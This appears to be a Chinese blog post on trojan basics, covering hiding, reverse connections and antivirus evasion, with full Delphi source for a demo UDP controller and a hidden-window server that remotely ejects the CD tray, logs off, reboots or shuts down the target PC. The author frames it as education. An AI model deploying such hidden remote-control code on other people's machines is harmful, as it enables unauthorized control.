delphi 远程控制《1》

Delphi 远程控制(1) 1. Delphi 进行远程控制   其实该程序的工作机制很简单,受控方运行一个程序,用于侦听端口并接收数据包,         而主控方通过端口给受控方的端口发送数据包。 根据这个原理,我们编写两个程序,一个是控制方的,而另一个是受控方的,把这两个程序运行在两台不同的机器上,受控机等待控制机发送过来的数据然后执行相应的操作(如本例中的重启)。   Delphi中有两类控件可以实现上面 阅读详情
   此文章只是个提纲挈领地概述了木马的一些基本概念和简要的发展历程,提供了一小段参考代码(Delphi7编译,Windows2000 SP4 和Windows XP SP2 测试通过);
后面的文章将详细讨论关于木马、远程控制软件和病毒(严格意义上的病毒并不包含木马程序)的一些异同,以及合法程序改造成木马、嵌套木马等问题;
目的是希望大家了解木马、熟悉木马技术,破除神秘感,能够手工清除木马,甚至能够编写木马程序------知己知彼,百战不殆。
-------------------------------------------------------------------
         最近和集团的同事谈起关于木马的话题,同事不是做软件工作的,觉得木马很神奇,可以不知不觉地控制别人的电脑或者窃取别人的信息,为了解释木马的原理我就顺便写了一个演示用的木马程序在他的机器上小试了一下,这个演示的木马功能很简单:可以打开对方的光驱,关闭光驱,使被控端的电脑注销用户、重启和关机。因为是演示用,只实现了很简单的隐藏,而且未加入启动项,Server端同样使用VCL,未做简化(实用的Server端应该避免使用VCL,使用API编程,减小体积,便于隐藏)。
         其实木马的原理并不复杂,它只要完成两件事就可以称之为木马:隐藏自己和传递信息(向内部传递控制信息和向外传递窃取的敏感信息)。木马是非授权的通信类软件,除了非授权性和隐蔽性的特点外,和其他通信类软件几乎没什么区别。
         木马按功能分为:单一功能的木马和复合功能的木马。
         单一功能的木马像早期的查看屏幕的木马LookMe和最近流行的各种盗取QQ号、游戏账号、银行账号的木马,这类木马一般只有一个服务程序,做好隐藏就可以了,窃取的信息一般通过邮件的方式传递。
         复合功能的木马功能复杂,比如:可以上传下载对方的文件,查看屏幕,记录键盘序列,修改注册表,控制进程等,以致完全可以控制整个服务端的主机;这类木马常做成C/S结构,Server端完成隐藏和传递信息的功能,Client端发送命令控制Server端,有很多例子:BO,Sub7,冰河,NetSpy,YAI,黑洞,广外女生,网络神偷,聪明基因,灰鸽子等。
         隐藏和传递信息的方式也逐步升级:早期的server端监听端口,被动连接,冰河是最经典的代表;后来为了突破防火墙出现了反弹端口,主动连接方式,网络神偷算是第一个吃螃蟹的人;最近比较热门的就是线程插入技术,目的是为了隐藏进程,躲避查杀。为了防止被查杀,这个过程中木马的生成机制也发生的了很多变化:加壳,修改特征码,嵌套木马,合法程序改造成木马或者直接杀掉杀毒软件等方式。
         下面是简单的演示代码,使用IdUDP组件(UDP协议),只作理解原理的参考。
         很有趣的是我在写完这个Server端的程序按下F9运行的时候,NOD32居然提示感染了未知病毒,直接把Server程序隔离了。后来查明程序中取得了用户权限后调用ExitWindowsEx()函数时被怀疑感染了病毒,但是单独取出这部分的关机代码却不能激活杀毒软件,看来NOD32是靠行为来判断未知病毒的--NOD32不愧为最好的预测未知病毒的杀毒软件。
§控制端§
 
§发现未知病毒§
 
Client端源码:
//----------------------------------------------------------------
////////////////////////////
//                                               //
//         Client Demo               //
//           2007.1.5                   //
//                                               //
////////////////////////////
unit MainFrm;
interface
uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdUDPBase, IdUDPClient;
type
   TfrmMain = class(TForm)
       edtHost: TEdit;
       edtPort: TEdit;
       lblHost: TLabel;
       Label2: TLabel;
       btnOpen_CDROM: TButton;
       btnClose_CDROM: TButton;
       btnLoginOff: TButton;
       btnReboot: TButton;
       btnShutDown: TButton;
       lblCmd: TLabel;
       edtCmd: TEdit;
       IdUDPClient1: TIdUDPClient;
       procedure btnOpen_CDROMClick(Sender: TObject);
       procedure btnClose_CDROMClick(Sender: TObject);
       procedure btnLoginOffClick(Sender: TObject);
       procedure btnRebootClick(Sender: TObject);
       procedure btnShutDownClick(Sender: TObject);
   private
           procedure SendCmd(AHost, APort, CmdStr:string);   //声明:发送命令共用过程
       { Private declarations }
   public
       { Public declarations }
   end;
var
   frmMain: TfrmMain;
implementation
{$R *.dfm}
procedure TfrmMain.SendCmd(AHost, APort, CmdStr:string);     //实现:发送命令共用过程
begin
           IdUDPClient1.Host:=AHost;
           IdUDPClient1.Port:=StrToInt(APort);
           IdUDPClient1.Send(CmdStr);
end;
procedure TfrmMain.btnOpen_CDROMClick(Sender: TObject);     //打开光驱
begin
           SendCmd(edtHost.Text, edtPort.Text, 'Open_CDROM');
end;
procedure TfrmMain.btnClose_CDROMClick(Sender: TObject);   //关闭光驱
begin
           SendCmd(edtHost.Text, edtPort.Text, 'Close_CDROM');
end;
procedure TfrmMain.btnLoginOffClick(Sender: TObject);   //注销
begin
           SendCmd(edtHost.Text, edtPort.Text, 'LoginOff');
end;
procedure TfrmMain.btnRebootClick(Sender: TObject);     //重启
begin
           SendCmd(edtHost.Text, edtPort.Text, 'Reboot');
end;
procedure TfrmMain.btnShutDownClick(Sender: TObject);   //关机
begin
           SendCmd(edtHost.Text, edtPort.Text, 'ShutDown');
end;
end.
 
//----------------------------------------------------------------
 
Server端源码:
注:在工程文件的 Application.Run; 语句前添加Application.ShowMainForm:=False; 语句以使程序运行时隐藏窗体;
并创建互斥对象,避免二次运行;
//----------------------------------------------------------------
////////////////////////////
//                                               //
//         Server Demo               //
//           2007.1.5                   //
//                                               //
////////////////////////////
unit MainFrm;
interface
uses
   Windows, Messages,  SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, IdBaseComponent, IdComponent, IdUDPBase, IdUDPServer, IdSocketHandle,
   MMSystem, ShellAPI;
type
   TfrmMain = class(TForm)
       IdUDPServer1: TIdUDPServer;
       procedure IdUDPServer1UDPRead(Sender: TObject; AData: TStream;
           ABinding: TIdSocketHandle);
   private
           procedure GetPrivilege;           //声明:获取登录用户权限
       { Private declarations }
   public
       { Public declarations }
   end;
var
   frmMain: TfrmMain;
implementation
{$R *.dfm}
procedure TfrmMain.GetPrivilege;           //获取登录用户权限
var
           NewState:TTokenPrivileges;
           lpLuid:Int64;
           ReturnLength:DWord;
           ToKenHandle:Cardinal;
begin
           OpenProcessToken(GetCurrentProcess,
                       TOKEN_ADJUST_PRIVILEGES
                       OR TOKEN_ALL_ACCESS
                       OR STANDARD_RIGHTS_REQUIRED
                       OR TOKEN_QUERY,ToKenHandle);
           LookupPrivilegeValue(nil,'SeShutdownPrivilege',lpLuid);
           NewState.PrivilegeCount:=1;
           NewState.Privileges[0].Luid:=lpLuid;
           NewState.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
           ReturnLength:=0;
           AdjustTokenPrivileges(ToKenHandle,False,NewState,0,nil,ReturnLength);
end;
procedure TfrmMain.IdUDPServer1UDPRead(Sender: TObject; AData: TStream;   //读取内存流数据
   ABinding: TIdSocketHandle);
var
           ReadCmd:TStringList;     //定义接受命令字符串列表
           CmdList:TStringList;     //定义命令列表
begin
           ReadCmd:=TStringList.Create;                   //创建接受命令字符串列表
           CmdList:=TStringList.Create;                   //创建命令字符串列表
           try
                       CmdList.Add('Open_CDROM');
                       CmdList.Add('Close_CDROM');
                       CmdList.Add('LoginOff');
                       CmdList.Add('Reboot');
                       CmdList.Add('ShutDown');
                       ReadCmd.LoadFromStream(AData);   //从内存流中取得数据
                       case CmdList.IndexOf(ReadCmd.Strings[0]) of
                       0: mciSendString('Set CDAudio door open wait',nil,0,handle);   //打开光驱
                       1: mciSendString('Set CDAudio door closed wait',nil,0,handle); //关闭光驱
                       2:
                                   begin
                                               GetPrivilege;
                                               ExitWindowsEx(EWX_LOGOFF, 0);   //注销用户
                                   end;
                       3:
                                   begin
                                               GetPrivilege;
                                               ExitWindowsEx(EWX_REBOOT, 0);     //重启
                                   end;
                       4:
                                   begin
                                               GetPrivilege;
                                               ExitWindowsEx(EWX_SHUTDOWN OR EWX_POWEROFF, 0); //关机
                                   end;
                       end;
           finally
                       ReadCmd.Free;     //释放接受命令字符串列表
                       CmdList.Free;     //释放命令列表
           end;
end;
end.
//----------------------------------------------------------------
RDP通道(远程桌面插件)开发指南—Delphi版 如果事件是CHANNEL_EVENT_DATA_RECEIVED,则服务器写入的数据被分成不超过CHANNEL_CHUNK_LENGTH字节的块。这意味着当一个会话开始隐藏当前会话时,或者当远程控制连接到连接到客户端的会话或从连接到客户端的会话断开连接时,通道不会在服务器端关闭。远程桌面客户端加载这个DLL后,会先调用这个函数,并传递一个指向 CHANNEL_ENTRY_POINTS 结构的指针,该结构包含指向客户端虚拟通道函数的指针。由于内存复制,过多的Write()调用可能会导致客户端分配过多的内存。 阅读详情

相关推荐

DELPHI远程控制源码(亲测可用)

delphi远程控制源码,亲测可用,内附了控件以及详细的例程及编译好的文件,非常值得参考。

Delphi 调用Windows 远程桌面核心代码

通过COM接口调用远程桌面,将远程桌面显示在应用程序窗体内: 一、主程序: unit uMain; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl....

byc6352的专栏 2732

Delphi爱好者远程控制+源码.rar

Delphi爱好者远程控制+源码.rar

DELPHI远程控制源码:高效、易用的远程控制解决方案

DELPHI远程控制源码:高效、易用的远程控制解决方案 【下载地址】DELPHI远程控制源码亲测可用 本仓库提供了一套完整的DELPHI远程控制源码,经过亲测,确保可用性。该源码不仅包含了核心的远程控制功能,还附带了相关的控件、详细的例程以及编译好的可执行文件,非常适合开发者参考和学习 ...

gitblog_09770的博客 865

Schwarze Sonne 0.2国外远控(国外远控delphi源码)[已汉化]

Schwarze Sonne 0.2国外远控 请先安装解压包中的控件。

使用IdUDPServer控件进行广播或单点收发的demo程序

这是使用Indy中的UDP控件demo程序修改而成的。对新手有帮助,因为原demo程序中只能单点发送,不能广播。我使用的是delphi7。

【亲测免费】 DELPHI远程控制源码(亲测可用)

DELPHI远程控制源码(亲测可用) 【下载地址】DELPHI远程控制源码亲测可用 本仓库提供了一套完整的DELPHI远程控制源码,经过亲测,确保可用性。该源码不仅包含了核心的远程控制功能,还附带了相关的控件、详细的例程以及编译好的可执行文件,非常适合开发者参考和学习 ...

gitblog_09747的博客 438

全能中间件RTCMW_V19.4_Demo

全能中间件,RTCMW V19.4 全方位使用范例,详细代码说明

delphi怎样实现远程控制(转)

将远程控制应用于教学中,已成为目前计算机化教学的重要手段。一定有很多的网虫想了解这种网络教学方式的编程原理吧。在此我们就以一个简单的远程控制程序作为示例,说明这种网络编程的基本原理。本程序以Delphi编程为例。   其实该程序的工作机制很简单,受控方运行一个程序,用于侦听端口并接收数据包,而主控方通过端口给受控方的端口发送数据包。根据这个原理,我们编写两个程序,一个是控制方的,而另一个是受控

pmj888666的专栏 1331

利用Horse-Paginate (delphi中间件)做分页 -源码

利用Horse-Paginate (delphi中间件)做分页 -源码

精典源码delphi源码下载 远程控制.zip

精典源码delphi源码下载 远程控制.zip

Delphi远程桌面远程控制程序及源代码:掌握Delphi编程的利器

Delphi远程桌面远程控制程序及源代码:掌握Delphi编程的利器 【下载地址】Delphi远程桌面远程控制程序及源代码 这是一款基于Delphi语言开发的远程桌面控制程序,提供完整的源代码和可执行文件,适合开发者学习和研究。通过该资源,您可以深入了解Delphi编程在远程控制领域的应用,并根据需求自由修改和扩展功能。...

gitblog_06714的博客 972

工业预测模型避坑指南:PHM2012轴承数据实战中,LSTM、CNN、Transformer到底怎么选?

本文深入探讨了工业预测模型在PHM2012轴承数据下的选型策略,对比了LSTM、CNN和Transformer等主流模型在轴承寿命预测任务中的表现。通过真实实验数据,提供了可复现的选型决策框架,帮助工程师根据数据规模、硬件条件和精度要求选择最佳模型。文章还揭示了工程落地中的隐藏陷阱,如数据不均衡和工况迁移挑战,并提出了解决方案。

weixin_33694172的博客 493

Delphi中远程控制的实现(一)

实行远程控制,实际上就是一个服务器程序(以下简称被控程序)和一个客户程序(以下简称主控程序):被控方即为服务器程序,它监听客户的请求,并作出相应的处理;主控方即为客户程序,它连接上服务器后,发出自己的请求,服务器便根据自已的请求进行不同的响应。而WinSock是一组API,用于在网络上传输数据和交换信息。通过WinSock编程有更大的灵活性,因为它不需要关心网络连接的细节,然而用WinSock编程

dingrj的专栏 2915

西门子触摸屏教程wincc flexible2008 sp5 Smart V3 V4中文版软件

西门子触摸屏教程wincc flexible2008 sp5 Smart V3 V4中文版软件

liang007dudu的博客 1万+

5分钟搞定!用FunASR在本地快速部署达摩院Paraformer语音识别模型

本文提供了一份快速部署指南,教你如何在5分钟内利用FunASR工具包在本地电脑上启动达摩院Paraformer语音识别模型。Paraformer作为一款非自回归端到端模型,以其推理速度快、识别精度高的特点,结合FunASR的一键式模型加载和统一API,让开发者能轻松构建本地语音识别系统,极大降低了前沿AI技术的应用门槛。

q9w8e7r6t5的博客 608

Delphi远程桌面(远程控制)程序及源代码

Delphi远程桌面(远程控制)程序及源代码 【下载地址】Delphi远程桌面远程控制程序及源代码 这是一款基于Delphi语言开发的远程桌面控制程序,提供完整的源代码和可执行文件,适合开发者学习和研究。通过该资源,您可以深入了解Delphi编程在远程控制领域的应用,并根据需求自由修改和扩展功能。项目结构清晰,便于使用D...

gitblog_06786的博客 295

独立站SaaS平台源码搭建全流程指南:从零到部署

一、什么是独立站SaaS?二、搭建前的准备工作技术选型建议模块 推荐方案 备选方案前端框架 React/Vue3 + TypeScript Angular后端框架 Spring Boot (Java)/Django (Python) Node.js (NestJS)数据库 MySQL + Redis PostgreSQL/MongoDB云服务 阿里云/腾讯云/AWS 华为云容器化 Docker + Kubernetes Docker Compose环境要求。

Vx18664956126的博客 1893

delphi 远程控制用什么控件

Delphi 中可以使用 Winsock 控件来实现远程控制。Winsock 控件是一个通信控件,可以在 Delphi 中使用来与远程主机进行通信,从而实现远程控制。使用 Winsock 控件需要对 socket 编程有一定的了解。 ...

weixin_35754676的博客 256

帝企鹅优化器(EPO)详解:从基础原理到代码实战

帝企鹅优化器(EPO)是受帝企鹅群体在极寒环境中抱团取暖行为启发,于2018年提出的一种群体智能优化算法。其核心机制是模拟帝企鹅种群通过动态调整位置来维持体温的过程,主要包括确定集群边界、计算温度分布、衡量个体间距离以及更新位置四个步骤,从而在求解复杂优化问题时有效平衡全局探索与局部开发。该算法具有参数少、结构清晰、易于实现等优点,在工程优化、图像处理、机器学习特征选择以及冷链物流车辆路径规划等领域展现出良好的应用潜力。

qq_42212808的博客 141

FPGA工程师面试试题集锦11~20

时钟抖动是指芯片的某一个给定点上时钟周期发生暂时性变化,也就是说时钟周期在不同的周期上可能加长或缩短。它是一个平均值为0的平均变量。

FPGA/MATLAB学习教程/源码/项目合作开发 678

Delphi实现远程控制

WinSock是一组API,用于在网络上传输数据和交换信息。虽然现在有很多工具如FTP 程序可以在网络上传输数据和文件,但是通过WinSock编程有更大的灵活性,它不需要关心网络连接的细节,不过用WinSock编程却很复杂。在Delphi中我们并不需要直接与 WinSock的API打交道,因为TClientSocket元件和TSer...

weixin_33937913的博客 618

C#与海康威视工业相机结合OpenCV与WPF:打造高效的机器视觉应用程序

本文介绍了基于C#、海康威视工业相机SDK和OpenCV的机器视觉应用开发方法。首先配置开发环境,包括海康SDK、OpenCvSharp和WPF项目设置。重点阐述了如何通过SDK初始化相机、获取视频流,并将YUV数据转换为OpenCV可处理的Mat格式进行图像处理(如边缘检测)。同时展示了如何用WPF实现界面交互和实时图像显示。该方案为工业自动化、质量检测等场景提供了高效的技术实现路径,结合了海康相机的高性能采集、OpenCV的强大算法和WPF的交互优势,具有较高的实用价值。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 1499

远程控制编程揭密

         将远程控制应用于教学中,已成为目前计算机化教学的重要手段。一定有很多的网虫想了解这种网络教学方式的编程原理吧。在此我们就以一个简单的远程控制程序作为示例,说明这种网络编程的基本原理。本程序以Delphi编程为例。  其实该程序的工作机制很简单,受控方运行一个程序,用于侦听端口并接收数据包,而主控方通过端口给受控方的端口发送数据包。根据这个原理,我们编写两个程序,一个是控制方的

Raindrop的专栏 1298

计算机毕设项目一:基于卷积神经网络、resnet、VGG化妆品分类识别 完整代码数据可直接运行

计算机毕设项目一:基于卷积神经网络、resnet、VGG化妆品分类识别 完整代码数据可直接运行

656

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

上一篇: JAVA程序员成长之路
下一篇: Delphi 截取字符串
java漫步天下
博客等级 码龄15年 67粉丝 76原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值